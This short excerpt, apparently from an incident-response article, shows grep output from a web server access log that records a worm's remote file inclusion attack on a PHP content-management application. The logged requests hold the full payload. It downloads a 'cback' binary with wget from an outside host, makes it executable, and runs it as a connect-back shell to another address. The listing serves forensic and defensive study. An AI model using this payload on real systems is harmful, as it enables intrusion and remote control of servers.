Listing 4. Verification of Worm Activity on Nearby Server $ grep 10.9.233.25 \ /var/log/httpd/www.pkrinternet.com-access_log 10.9.233.25 - - [04/May/2006:07:52:21 -0400] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://172.16.31.57/cmd.gif?&cmd=cd%20/tmp;wget%20172.16.31.57/cback;chmod%20744%20cback;./cback%2010.200.238.39%208080;echo%20YYY;echo| HTTP/1.1" 404 290 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" 10.9.233.25 - - [04/May/2006:07:52:21 -0400] "GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://172.16.31.57/cmd.gif?&cmd=cd%20/tmp;wget%20172.16.31.57/cback;chmod%20744%20cback;./cback%2010.200.238.39%208080;echo%20YYY;echo| HTTP/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" [ ...output trimmed ]